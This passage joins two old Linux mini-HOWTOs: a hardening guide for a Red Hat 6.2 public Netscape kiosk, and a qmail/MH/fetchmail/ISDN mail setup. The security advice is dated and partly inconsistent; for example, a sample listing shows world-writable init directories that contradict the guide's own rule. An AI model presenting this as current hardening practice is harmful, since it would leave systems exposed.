libtiff-3.5.4-5
libungif-4.1.0-4
libxml-1.8.6-2
lilo-0.21-15
logrotate-3.3.2-1
losetup-2.10f-1
mailcap-2.0.6-1
man-1.5h1-1
mingetty-0.9.4-11
mkbootdisk-1.2.5-3
mkinitrd-2.4.1-2
mktemp-1.5-2
modutils-2.3.9-6
mount-2.10f-1
mouseconfig-4.4-1
ncompress-4.2.4-15
ncurses-5.0-11
net-tools-1.54-4
netscape-common-4.72-6
netscape-navigator-4.72-6
newt-0.50.8-2
ntsysv-1.1.2-1
pam-0.72-6
passwd-0.64.1-1
pciutils-2.1.5-2
popt-1.5-0.48
procps-2.0.6-5
psmisc-19-2
pwdb-0.61-0
raidtools-0.90-6
rdate-1.0-1
readline-2.2.1-6
redhat-logos-1.1.0-2
redhat-release-6.2-1
rootfiles-5.2-5
rpm-3.0.4-0.48
rpmfind-1.4-3
rxvt-2.6.1-8
sash-3.4-2
sed-3.02-6
setup-2.1.8-1
setuptool-1.2-5
sh-utils-2.0-5
shadow-utils-19990827-10
slang-1.2.2-5
slocate-2.1-2
stat-1.5-12
sysklogd-1.3.31-16
tar-1.13.17-3
tcl-8.0.5-35
tcp_wrappers-7.6-10
termcap-10.2.7-9
textutils-2.0a-2
time-1.7-9
timeconfig-3.0.3-2
tmpwatch-2.2-1
utempter-0.5.2-2
util-linux-2.10f-7
vixie-cron-3.0.1-40
which-2.9-2
words-2-12
xinitrc-2.9-1
xpm-3.4k-2
zlib-1.1.3-6
    Unfortunately, some of the packages above might also be redundant and potentially unsafe (even glibc, the main runtime Linux library, was recently found to have locally exploitable bugs! And so was PAM module library). More candidates for elimination include gpm (console mouse services, had some exploit history last year) and many others. Xlib has a buffer overflow but can't be eliminated. Make sure the latest version is used.

3.3 Install ssh

Install ssh-server RPM for remote administration. Do NOT use inetd daemon mode, make sshd run standalone and use /etc/hosts.allow for access control (ssh daemon will read the file upon startup)

3.4 Make a boot floppy

Make sure you create a boot floppy using a mkbootdisk command as errors in LILO configuration might render the system unbootable.

3.5 Modify configs

Make the following modifications to configuration files

  • /etc/inittab
    #
# inittab       This file describes how the INIT process should set up
#               the system in a certain run-level.
#
# Author:       Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
#               Modified for RHS Linux by Marc Ewing and Donnie Barnes
#--fixed by anton for browser station

# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#  --anton--
#   4 - browser X
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
#id:3:initdefault:
#--anton: default runlevel now 4! other levels protected by LILO password
id:4:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
#anton -- not here, disable
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left.  Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
#--anton -- only one is needed! comment out the rest
#2:2345:respawn:/sbin/mingetty tty2
#3:2345:respawn:/sbin/mingetty tty3
#4:2345:respawn:/sbin/mingetty tty4
#5:2345:respawn:/sbin/mingetty tty5
#6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon
    The file above disables Ctrl-Alt-Del combination and makes new runlevel 4 a default runlevel. It also eliminates virtual consoles (all but 1).
  • /etc/fstab
    #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
/dev/hda1               /                       ext2    defaults,ro 1 1
/dev/hda7               /home                   ext2    defaults,nodev,noexec,nosuid 1 2
/dev/hda6               /tmp                    ext2    defaults,nodev,noexec,nosuid 1 2
/dev/hda5               /var                    ext2    defaults,nodev,noexec,nosuid 1 2

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
#/dev/cdrom              /mnt/cdrom              iso9660 noauto,owner,ro 0 0
#/dev/fd0                /mnt/floppy             auto    noauto,owner    0 0
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
none                    /proc                   proc    defaults        0 0
none                    /dev/pts                devpts  gid=5,mode=620  0 0
/dev/hda8               swap                    swap    defaults        0 0

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    Brief explanation for the options (see man mount for more)
    • For / : mounted read-only (ro), just to make it a little bit harder to do Bad Things
    • For /home, /tmp and /var : nodev,noexec,nosuid will prevent (a) starting executable from them (download and run through netscape attack), (b)running suid executables (well, redundant in presence of the above but nice to have too) (c)creating devices by makedev (no faked /dev/mem for kernel module attack)

      Making /home read-only might be good idea too as no netscape is not supposed to write anything while running.

    • Remember to REMOVE floppy and CDROM physically and disable partitions (commented out)!

  • /etc/rc.d/ directory

    Create file xbrowser in /etc/rc.d/init.d and symlink (cd /etc/rc.d/rc4.d ; ln -s /etc/rc.d/init.d/xbrowser S99xbrowser)it as S99xbrowser in /etc/rc.d/rc4.d so that directory /etc/rc.d/rc4.d looks like this

      drwxrwxrwx    2 root    root        4096 Sep 10 15:30 .
  drwxrwxrwx   10 root    root        4096 Sep 10 15:30 ..
  lrwxrwxrwx    1 root    root        1179 Sep 10 15:30 S05kudzu-> ../init.d/kudzu
  lrwxrwxrwx    1 root    root        5094 Sep 10 15:30 S10network-> ../init.d/network
  lrwxrwxrwx    1 root    root        1367 Sep 10 15:30 S16apmd-> ../init.d/apmd
  lrwxrwxrwx    1 root    root        1542 Sep 10 15:30 S20random-> ../init.d/random
  lrwxrwxrwx    1 root    root        3217 Sep 10 15:30 S25netfs-> ../init.d/netfs
  lrwxrwxrwx    1 root    root        1024 Sep 10 15:30 S30syslog-> ../init.d/syslog
  lrwxrwxrwx    1 root    root         989 Sep 10 15:30 S40atd-> ../init.d/atd
  lrwxrwxrwx    1 root    root        1031 Sep 10 15:30 S40crond-> ../init.d/crond
  lrwxrwxrwx    1 root    root        1203 Sep 10 15:30 S75keytable-> ../init.d/keytable
  lrwxrwxrwx    1 root    root        1261 Sep 10 15:30 S85gpm-> ../init.d/gpm
  lrwxrwxrwx    1 root    root        1956 Sep 10 15:30 S90xfs-> ../init.d/xfs
  lrwxrwxrwx    1 root    root         650 Sep 10 15:30 S99xbrowser-> ../init.d/xbrowser
    This init files are run upon entering runlevel 4 (either at reboot or when typing init 4 from root prompt). Files are run in order of increasing numbers so that our xbrowser runs in the end.

    xbrowser file looks like this

    #!/bin/bash
# --anton: Init the box into X with browser, no login script
echo "Starting standalone browser....."

#put a mark into log
echo %%%%%%Reboot%%%%% >> /var/log/xlog

#this file marks X startrup using out xinitrc
touch /tmp/startOK

#--main loop, indefinite with the presence of /tmp/startOK file ------------------
while [ -f /tmp/startOK ] ; do

#put a mark into log
echo %%%%%%Restart%%%%% >> /var/log/xlog

#kill stuck netscape if any (this doesnt help if it turn zombie)
killall -9 netscape >& /dev/null

#clear netscape lock
if [ -f ~netscape/.netscape/lock ]; then
 /bin/rm ~netscape/.netscape/lock
fi

#start X windows, no winman, using the config that starts only netscape
#config is in root home dir!!
#X server runs as root, sort of BAD
/usr/X11R6/bin/xinit /root/.xinitrc -- /usr/X11R6/bin/X bc

done
#main loop end-------------------------------
    This file will start X server upon boot up with no prompting (after LILO prompt). The X server will follow the directions in /root/.xinitrc, below. X server config is shown below too.
  • Make sure /etc/sysctl.conf looks like this
    # Disables packet forwarding
net.ipv4.ip_forward = 0
# Enables source route verification
net.ipv4.conf.all.rp_filter = 1
# Disables automatic defragmentation (needed for masquerading, LVS)
net.ipv4.ip_always_defrag = 0
# Disables the magic-sysrq key
#--anton: this IS important
kernel.sysrq = 0
    This disable kernel interaction keys (aka Magic SysRQ keys) on startup.
  • /etc/X11/XF86Config

    Make changes to /etc/X11/XF86Config that was automatically created during install to look have those in:

    # File generated by XConfigurator.

...whatever...

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

    # Uncomment this to cause a core dump at the spot where a signal is
    # received.  This may leave the console in an unusable state, but may
    # provide a better stack trace in the core dump to aid in debugging
    #NoTrapSignals

    # Uncomment this to disable the <Ctrl><Alt><BS> server abort sequence
    # This allows clients to receive this key event.
#--anton -- no X server kill
#--another option is to have a kill as a means to fight broken/stuck netscape,
#--restart will bring it back after cleanup
    DontZap

    # Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
    # sequences.  This allows clients to receive these key events.
#--anton -- kinda bad too
    DontZoom

EndSection

...whatever...
    Now, the DontZap is a questionable choice. The Crtl-Alt-Backspace sequence might be the only way to kill stuck netscape or the one with some window overlapping netscape controls (like, View Source or View Page Info) as no automatic netscape fixing is implemented. Disabling Java and JavaScript will decrease the likelihood of it crashing, but will not eliminate this miserable occurrence altogether. In the current setup pressing Crtl-Alt-Backspace if DontZap is commented out will cause X server to restart, killing netscape and doing a lock file cleanup.

  • /root/.xinitrc

    Make sure that /root/.xinitrc looks like

/bin/rm -f ~netscape/.netscape/lock >& /dev/null

#--anton: otherwise non-root netscape cant run
#--anton  only allow local but from all users
#--anton  the name of test box was "afc" thus the line below
xhost +afc
#--anton:starts netscape as user "netscape" and full screen!!
#make sure 1024x768 matches your monitor
su netscape -c "netscape -no-about-splash -geometry 1024x768+0+0"

#---------------TESTING---------------------------
#these commands were used in testing to set netscpae preferences
#same as having "netscape" uiser home dir writable for this user
#export HOME=/home/netscape
#netscape -no-about-splash -geometry 1024x768+0+0 >& /tmp/LOG
#---------------TESTING---------------------------

#also needed: X as user "guest" eventually
    See comments in file for explanation

3.6 Create user

Create user netscape, his home directory will be /home/netscape.

3.7 Change Netscape settings

Start netscape and apply a restricted settings as:

  • no Java (known big risks, recently really big holes discovered in Netscape Java implementation),
  • no JavaScript (some risks with password stealing and web mail hijacking),
  • no cache (some Java bugs will access cache objects and then bypass JVM restrictions),
  • no cookies (might not be possible though, low risk),
  • remove all launches of nonstandard applications (ideally-all applications) with file types (by going to Netscape->Edit->Preferences->Navigator->Applications),
  • history length set to 0 (next user can't see what previous was doing, the risk is in seeing URL-encoded passwords sometimes)

3.8 Chown the home directory

Do chown to root on /home/netscape (by chown -R root.root /home/netscape). Make sure that his home directory belongs to root, there are no world-writable files and subdirectories there and permission are at least

/home/netscape/:
total 9
drwxr-xr-x    4 root     root         1024 Sep  7 18:29 .
drwxr-xr-x    4 root     root         1024 Sep  7 18:30 ..
-rw-r--r--    1 root     root           16 Sep  7 18:29 .bash_history
-rw-r--r--    1 root     root           24 Sep  5 08:21 .bash_logout
-rw-r--r--    1 root     root          230 Sep  5 08:21 .bash_profile
-rw-r--r--    1 root     root          124 Sep  5 08:21 .bashrc
-rw-r--r--    1 root     root           93 Sep  7 18:25 .mailcap
-rw-r--r--    1 root     root            0 Sep  7 18:25 .mime.types
drwxr-xr-x    4 root     root         1024 Sep 10 08:38 .netscape
drwxr--r--    2 root     root         1024 Sep  6 00:04 .xauth

/home/netscape/.netscape:
total 264
drwxr-xr-x    4 root     root         1024 Sep 10 08:38 .
drwxr-xr-x    4 root     root         1024 Sep  7 18:29 ..
drwxr--r--    2 root     root         1024 Sep  6 00:04 archive
-rw-------    1 root     root        14757 Sep  7 18:38 bookmarks.html
drwxr--r--    3 root     root         1024 Sep  7 18:24 cache
-rw-r--r--    1 root     root       188416 Sep  6 00:05 cert7.db
-rw-r--r--    1 root     root        16384 Sep  7 18:30 history.dat
-rw-r--r--    1 root     root          111 Sep  7 16:20 history.list
-rw-r--r--    1 root     root        16384 Sep  6 00:05 key3.db
-rw-r--r--    1 root     root            0 Sep  6 00:04 nswrapper.copy_defs
-rw-r--r--    1 root     root          279 Sep 10 08:38 plugin-list
-rw-r--r--    1 root     root         3398 Sep  7 18:29 preferences.js
-rw-r--r--    1 root     root          741 Sep  7 18:29 registry
-rw-r--r--    1 root     root        16384 Sep  7 18:29 secmodule.db

Carefully test netscape functionality upon doing the chown to root! At present, I have not found a way to avoid periodic Netscape complaints about "Can't write preferences".

Another note is appropriate. Netscape is VERY buggy (last example is Red Hat Linux Security Advisory presents a way to crash and exploit netscape using a specially crafted JPEG image) and is likely to crash periodically, possibly producing a buffer overflow with shell access for the intruder. This shell will have the netscape user as owner. Thus the absence of xterm and rxvt on the system is absolutely crucial as it provides another line of defense. Permission on the system should also be set very conservatively (no world-writable files). Ideally, NO files should be owned by user "netscape" on the system AT ALL (do a find / -user netscape command to confirm this, also check for world writable files with find / -perm -2 ! -type l -ls).

3.9 Config lilo

Modify /etc/lilo.conf

boot=/dev/hda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
default=linux

image=/boot/vmlinuz-2.2.14-5.0
        label=linux
        read-only
        root=/dev/hda1
        restricted
The word restricted will cause password prompting in order to enter non-standard runlevel (e.g. linux init 0 from LILO: prompt).

That implies using stock RH 6.2 kernel. Kernel upgrade to 2.2.16 might be a good idea as some bugs were found in early 2.2.14 kernels (low risk).

3.10 REMOVE binaries

REMOVE /usr/X11R6/bin/xterm xterm executable COMPLETELY! This is REALLY IMPORTANT as shell will be much harder to obtain in this case. Make sure its clone, rxvt, is not installed! Ideally, all programs that can spawn a shell should be removed.

3.11 Physical security

Some physical security

  • Secure reset button
  • Remove CDROM and floppy disk drive
  • Prevent access to the box to avoid hard drive replacement

3.12 Some final touches

Some final touches (nice but not essential for system functionality)

  • Implement free disk space monitor top avoid partition overflows
  • Enable remote logging (preferably to some dedicated box with host-based IDS that analyzes the logs)


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO"): Conclusion

 Next Previous Contents

4. Conclusion

It just might work ;-)


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO"): References

 Next Previous Contents

5. References

  1. Web Kiosk HOWTO Similar HOWTO, main differences: no keyboard, uses fvwm2
  2. Public Web Browser HOWTO Similar HOWTO, older and less security oriented
  3. Security HOWTO Linux Security HOWTO
  4. NIC Site You can buy something similar to what is described in the HOWTO for $199 (I am not affiliated with the company in any way)
  5. http://www.chuvakin.org/ispdoc I also maintain a Linux ISP HOWTO.
  6. http://www.chuvakin.org/books I also maintain a list of computer/network security related books with (where available) reviews and online availability. If you have a book that I don't list please use the form on the page and I will add it to the list and maybe review it later.


mini-HOWTO install qmail with MH

Christopher Richardson (rdn@tara.n.eunet.de)

v1.4, 5 March 1998

I am just documenting my installation experiences to offer some help to other users who wish to use the above combination for their email. v1.4 - I have finally got a new Linux box running so I decided to update this mini-howto

1. Introduction

2. My System Details

3. Qmail Installation

  • 3.1 Maildir2smtp

4. MH Installation

  • 4.1 mtstailor
  • 4.2 mh_profile

5. Fetchmail

6. Exmh

7. Procmail

8. ISDN

9. Sources

10. Disclaimers

11. Postscript


mini-HOWTO install qmail with MH: Introduction

 Next Previous Contents

1. Introduction

My thanks to all netizens who have helped me, especially Tony Nugent (tony@trishul.sci.gu.edu.au), David Summers (david@summersoft.fay.ar.us) and S.u.S.E ( Linux distribution) who has made installing Linux so much easier, and the authors of the above excellent programs.

What is qmail and why should I use it? Here is the author´s (Dan Bernstein) blurb:

qmail is a secure, reliable, efficient, simple message transfer agent. It is meant as a replacement for the entire sendmail-binmail system on typical Internet-connected UNIX hosts.

Secure: Security isn't just a goal, but an absolute requirement. Mail delivery is critical for users; it cannot be turned off, so it must be completely secure. (This is why I started writing qmail: I was sick of the security holes in sendmail and other MTAs.)

Reliable: qmail's straight-paper-path philosophy guarantees that a message, once accepted into the system, will never be lost. qmail also supports maildir, a new, super-reliable user mailbox format. Maildirs, unlike mbox files and mh folders, won't be corrupted if the system crashes during delivery. Even better, not only can a user safely read his mail over NFS, but any number of NFS clients can deliver mail to him at the same time.

Efficient: On a Pentium under BSD/OS, qmail can easily sustain 200000 local messages per day---that's separate messages injected and delivered to mailboxes in a real test! Although remote deliveries are inherently limited by the slowness of DNS and SMTP, qmail overlaps 20 simultaneous deliveries by default, so it zooms quickly through mailing lists. (This is why I finished qmail: I had to get a big mailing list set up.)

Simple: qmail is vastly smaller than any other Internet MTA. Some reasons why: (1) Other MTAs have separate forwarding, aliasing, and mailing list mechanisms. qmail has one simple forwarding mechanism that lets users handle their own mailing lists. (2) Other MTAs offer a spectrum of delivery modes, from fast+unsafe to slow+queued. qmail-send is instantly triggered by new items in the queue, so the qmail system has just one delivery mode: fast+queued. (3) Other MTAs include, in effect, a specialized version of inetd that watches the load average. qmail's design inherently limits the machine load, so qmail-smtpd can safely run from your system's inetd.

Replacement for sendmail: qmail supports host and user masquerading, full host hiding, virtual domains, null clients, list-owner rewriting, relay control, double-bounce recording, arbitrary RFC 822 address lists, cross-host mailing list loop detection, per-recipient checkpointing, downed host backoffs, independent message retry schedules, etc. In short, it's up to speed on modern MTA features. qmail also includes a drop-in ``sendmail'' wrapper so that it will be used transparently by your current UAs.


mini-HOWTO install qmail with MH: My System Details

 Next Previous Contents

2. My System Details

SuSE Linux Distribution 5.1 with 2.0.33 kernal.

PPP link to ISP


mini-HOWTO install qmail with MH: Qmail Installation

 Next Previous Contents

3. Qmail Installation

Follow the INSTALL instructions exactly.

Notes:

Please take the time to read the Fine documentation completely. The numerals refer to the installation steps in the above INSTALL doc.

  • 2 - I had to set up the groups and users manually as per INSTALL.ids
  • 7 - ./qmail-makectl did not work on my system. I added my domain name (mickey.n.eunet.de) manually in /var/qmail/control/me
  • 23 - Make sure qmail-smtpd is spelt correctly in the inetd-conf file. (I spelt it incorrectly i.e. qmail-smptd, which took me two days to find:( ) smtp stream tcp nowait qmaild /var/qmail/bin/tcp-env tcp-env /var/qmail/bin/qmail-smtpd

3.1 Maildir2smtp

Dan Bernstein has provided a package for sending queued email to an ISP via dial-in. This package is available as serialmailxxx from his site.

Install this package as described in the man page (Thanks Rupert Mazzucco (maz@pap.univie.ac.at), it works out of the box!

       maildir2smtp - blast a maildir across SMTP

       maildir2smtp is designed to pass messages along a SLIP  or
       PPP  link.  To set this up on the disconnected end, create
       a new maildir in alias:

          # maildirmake ~alias/pppdir
          # chown -R alias ~alias/pppdir

       Put

          :alias-ppp

       into control/virtualdomains and

          ./pppdir/

       into ~alias/.qmail-ppp-default.  Don't  forget  the  extra
       slash in pppdir/.  Then, in the PPP startup script, do

          maildir2smtp ~alias/pppdir alias-ppp- $IP `hostname`

       replacing  $IP with the remote IP address.

Notes:

  • Please read the Fine manual page completely.
  • Maildir2smtp requires the dotted IP address of your mail server. If you do not have this then ping YourMail.host.country which will return the IP.
  • This command can be included in your login script to flush all queued mail after logging in to your ISP.


mini-HOWTO install qmail with MH: MH Installation

 Next Previous Contents

4. MH Installation

In addition to this, I also replaced /mh-6.8.4/mts/sendmail/smail.c with Dan Bernstein´s mh-qmail-smail.c

This is what my mh-6.8.4/conf/MH looks like:

bin     /usr/bin/mh
etc     /usr/lib/mh
#mail
#mandir /usr/man
#manuals        standard
chown   /bin/chown
#cp     cp
#ln     ln
#remove mv -f
cc      gcc
ccoptions -traditional -O2 -m486 -D_NFILE='getdtablesize()'
          -DSIGEMT=SIGUSR1
curses  -lncurses
#ldoptions      -s
#ldoptlibs
lex     flex
#oldload        off
#ranlib on
mts     sendmail
#mf     off
#bboards        off
#bbdelivery     off
#bbhome /usr/spool/bboards
pop     on
popdir  /usr/lib/mh
sharedlib       sys5
slflags -fPIC
slibdir /usr/lib
mailgroup       mail
signal  void
sprintf int
#editor prompter
#debug  off
#regtest        off
options ATHENA
options BIND
options DPOP
options DUMB
options FCNTL
options MHE
options MHRC
options MIME
options MORE='"/usr/bin/less"'
options OVERHEAD
options POP2
options POPSERVICE='"pop3"'
options RENAME
options RPATHS
options RPOP
options SOCKETS
options SVR4
options SYS5
options SYS5DIR
options TERMINFO
options UNISTD
options VSPRINTF

Notes:

  • I have only compiled ``mts sendmail'' - read in comp.mail.mh somewhere that /smtp can cause problems. Dominic Mitchell (hdm@demon.net) wrote in comp.mail.mh (13 June 1997): ``Not quite. With this option MH still talks SMTP, just over a pipe and not over a network. You *really* need a line in your /.mh_profile which says: postproc: /usr/local/nmh/lib/spost Or whever it's kept on your system. This will pass the message directly to sendmail in the traditional manner. You're using qmail of course, so sendmail will be qmail's wrapper script, but that's just fine.'' Thanks Dominic.
  • I have remmed out ``mail'' because I want to control it via mtstailor

4.1 mtstailor

As qmail delivers mail to the home directory (~/Mailbox). I added the following to my mtstailor

localname:      mickey
localdomain:    n.eunet.de
mmdfldir:
mmdflfil:       Mailbox
uucpldir:
uucplfil:
mmdelim1:       \001\001\001\001\n
mmdelim2:       \001\001\001\001\n
mmailid:        0
umincproc:
lockldir:
sendmail:       /usr/lib/sendmail

Notes:

  • sendmail: /usr/lib/sendmail is a link to the qmail sendmail wrapper in /var/qmail/bin
  • MH does not like the tilde notation (~/) use /home instead or leave blank which according to the docs defaults to $HOME.
  • I recently installed MH and qmail on my office machine which is connect via ethernet. I added the following line to mtstailor: servers: mailserver.company.country

4.2 mh_profile

Here is my .mh_profile

Path: Mail
draft-folder: drafts
unseen-sequence: unseen
AliasFile: /home/rdn/.mh_aliases
send: -msgid
comp: -form /home/rdn/.mymh-components
MailDrop: /home/rdn/Mailbox

Notes:

  • I put in the MailDrop line to be ``sure to be sure''.


mini-HOWTO install qmail with MH: Fetchmail

 Next Previous Contents

5. Fetchmail

I decided to use fetchmail because I have a multiuser (my family :). Linux and fetchmail delivers mail to the smtp port where qmail takes over.

Installation was no problem, multidrop works with the following .fetchmailrc :

poll PersonalMail.Germany.EU.net
protocol pop3
username myname
password mypassword
# the next two lines do the trick for multidrop
localdomains mydomain.de
is * here
# T2 of the fetchmail FAQ states that qmail needs this
forcecr


mini-HOWTO install qmail with MH: Exmh

 Next Previous Contents

6. Exmh

This is my mailer by choice. I love it.

There is one problem - most pre-compiled TCL/TK packages have the security option compiled in. The following script .xserverrc.secure which came with SuSE solves this.

#!/bin/sh

#
# move this file to ~/.xserverrc, if you don't want to allow everybody to
# get access to your X-Server
#
if [ -x /usr/bin/keygen ]; then
    if [ ! -x /usr/bin/hostname -a ! -x /bin/hostname \
         -a ! -x /usr/bsd/hostname ];
    then
        echo "startx: can't get my hostname - exiting"
        exit 1
    else
        host=`hostname`
    fi

    xauth add $host:0 . `/usr/bin/keygen`
    sleep 2
    xauth add $host/"unix":0 . `/usr/bin/keygen`
    exec X :0 -auth .Xauthority $*
else
    exec X :0 $*
fi


mini-HOWTO install qmail with MH: Procmail

 Next Previous Contents

7. Procmail

The qmail FAQ gives this command:

In /.qmail add the line

| preline procmail

Version 3.11pre7 has changed the default mail box variable. It used to be in config.h. It is now in src/authenticate.c:

#define MAILSPOOLHOME "/Mailbox"        /* watch the leading / */
                                        /* delivers to $HOME/Mailbox */

I have culled from comp.mail.mh ans comp.mail.misc some hints on a .procmailrc file. Thanks to everyone!

# A SAMPLE .PROCMAILRC FILE FOR NOVICES
# Written by Catherine Hampton <ariel@best.com>
# Version 1.1
# Updated 1/25/98
#
# Released to the Public Domain.
#
#
# SET VARIABLES

# Internal Variables
# the following have be modified by rdn 19980303

# Everyone says that the SHELL environment is essential
SHELL=/bin/sh               #Shell used to run procmail.  Be sure this points to
                            #your system's copy of sh.  DO NOT substitute a
                            #different shell unless you really know UNIX

LINEBUF=4096                #Needed to keep Procmail from choking on long
                            #"recipes", or instructions on what to do with
                            #particular kinds of email.

PATH=$HOME/bin:/bin:/usr/bin:/usr/local/bin:/usr/bin/mh:/usr/lib/mh:
                            #Path for your programs -- this is probably best
                            #left alone.

VERBOSE=off                 #Change this to "on" when you try a new recipe
                            #so that Procmail will log literally every step
                            #it takes.  DO NOT LEAVE IT ON, though, because
                            #it creates huge logfiles.

# Default Program & file locations

MAILDIR=$HOME/Mail          #you'd better make sure this directory exists

DEFAULT=$HOME/Mailbox         #default incoming mailbox for shell2-5 users
                            #on Best Internet.  Substitute the correct
                            #setting for your system.

LOGFILE=$MAILDIR/procmail.log #Logs message disposition.  Recommended -- otherwise
                            #errors are emailed to you. :/

FORMAIL=/usr/bin/formail        #useful for autoreply recipes.  If you
                                #are not on Best Internet, modify this to
                                #your system's copy of formail.

SENDMAIL=/usr/sbin/sendmail    #useful for autoreply recipes.  If you are
                               #not on Best Internet, modify this to point
                               #to your system's copy of sendmail.

Procmail is an excellently documented program. Read the man pages for examples on how to set up your .procmailrc file.


mini-HOWTO install qmail with MH: ISDN

 Next Previous Contents

8. ISDN

I am including this although this has nothing to do with qmail or mh. But without a PPP line to your ISP there is no email at all. I had quite a bit of bother to get my ISDN working. The SusE distribution includes a configuration for ISDN, but I wanted something simpler. The stuff here was adapted from Bernhard Hailer's scripts. (Vielen, vielen dank!)

The following rc.config loads the necessary modules during initialisation:

#!/bin/bash
# This is adapted Bernhard Hailer's old script

LOCAL_NUMBER="91311234"        # tel no. 091311234
REMOTE_NUMBER="0911123456"     # ISP tel no.
LOCAL_IP="192.168.0.99"        # I have dynamic IP so this will do
REMOTE_IP="195.112.123.11"     # your ISP's gateway
DEVICE="ippp0"

SYSPATH="/sbin"
ISDNCTRL="$SYSPATH/isdnctrl"

case "$1" in
start)
        # turn on isdn
        insmod /lib/modules/2.0.33/net/slhc.o
        insmod /lib/modules/2.0.33/misc/isdn.o
        sleep 1
        # load the hisax module
        insmod /lib/modules/2.0.33/misc/hisax.o
                                   id=Tel0 type=5 protocol=2 irq=10 io=0x300
        echo "starting isdn4linux"
        # global
        $ISDNCTRL verbose 0

        $ISDNCTRL addif $DEVICE         # create new interface
        $ISDNCTRL addphone $DEVICE in $REMOTE_NUMBER
        $ISDNCTRL addphone $DEVICE out $REMOTE_NUMBER
        $ISDNCTRL eaz $DEVICE $LOCAL_NUMBER
        $ISDNCTRL l2_prot $DEVICE hdlc
        $ISDNCTRL l3_prot $DEVICE trans
        $ISDNCTRL encap $DEVICE syncppp
        $ISDNCTRL huptimeout $DEVICE 300
        $ISDNCTRL chargehup  $DEVICE off
        $ISDNCTRL secure $DEVICE on

        $SYSPATH/ifconfig $DEVICE $LOCAL_IP pointopoint $REMOTE_IP metric 1
        $SYSPATH/route add default $DEVICE
        $SYSPATH/ipppd /dev/ippp0 file /etc/ppp/options.ipppd &
        $SYSPATH/route del default

        ;;
stop)
        #turn off isdn
        rmmod hisax.o
        sleep 1
        rmmod isdn.o
        rmmod slhc.o
        echo "Shutting down isdn4linux"
        $ISDNCTRL delif ippp0
        ;;
*)
        echo "Usage: $0 (start|stop)"
        exit 1
        ;;
esac

I use the following script to dial out, it is called simply isdn on|off

#!/bin/bash
# This is based on an old script from Bernhard Hailer

IP_ADDRESS="195.112.123.11"

case "$1" in
on)

        echo "Calling ippp0"
        /sbin/isdnctrl dial ippp0
# the sleep is important as it gives the PPP time to settle down
        echo "Sleep for 8s for PPP handshake"
        sleep 8s
        /sbin/route add default ippp0
        echo "line open - checking...."

# check whether PPP negotiation was successful:
        set `ping -qc3 -i1 $IP_ADDRESS 2>/dev/null | grep transmitted`
        if [ $4 -gt 0 ];
        then
                echo "succeeded."
                echo "Starting fetchmail daemon"
                /usr/bin/fetchmail -d 600 -k -v -a -L /var/log/fetchmail
                echo "Flushing mail queue...."
                /usr/local/bin/serialmail/maildir2smtp
                            ~alias/pppdir alias-ppp- mail.server.ip.no `hostname`
        else
                echo "failed!"
                /sbin/isdnctrl hangup ippp0
        fi

;;

off)
                echo -n "Shutting down fetchmail daemon"
                /usr/bin/fetchmail --quit

                /sbin/isdnctrl hangup ippp0
                /sbin/route del default         # and delete route
                echo "You're off line"
;;

*)
        echo -e "\aUsage:"
        echo "isdn on"
        echo "isdn off"
;;

esac
The next lot is the ipppd options file /etc/ppp/options.ipppd

# Based on:
# Klaus Franken, kfr@suse.de
# Version: 27.08.97 (5.1)
#
# This file is copy by YaST from /etc/ppp/ioptions.YaST
#   to options.<device>

user "myuserid"

# my system name (only for CHAP!)
# name my_system_name

# accept IP addresses from peer
# use with dynamic IP
ipcp-accept-local
ipcp-accept-remote
noipdefault

# try to get IP address from interface
# option specific to ipppd (as opposed to pppd)
# use only with static IP
#useifip

# disable all header-compression
-vj
-vjccomp
-ac
-pc
-bsdcomp

# sometimes you need this:
#noccp

# max receive unit
mru 1524
# max transmit unit
mtu 1500

# If this machine is a server, force authentication by uncommenting one
# of the following. However, if this machine is a client, doing this will
# prevent a succesful connection! (message "peer refused to authenticate").
# So, only uncomment on a server.
# "+pap" / "+chap" NUR AKTIVIEREN, WENN DIES EIN SERVER IST!!!
#+pap
#+chap

# if you have problems with handshaking (no response for first
# lcp-package) try to decrease the retry-cycle. Default is 3 sec,
# try for example 2 sec:
# lcp-restart 2


mini-HOWTO install qmail with MH: Sources

 Next Previous Contents

9. Sources

Required Packages:

The net is so dynamic that it is pretty pointless to give sources. but for what it's worth:

  • Find Qmail, setserial on http://www.qmail.org/
  • Find MH on http://www.ics.uci.edu/~mh/
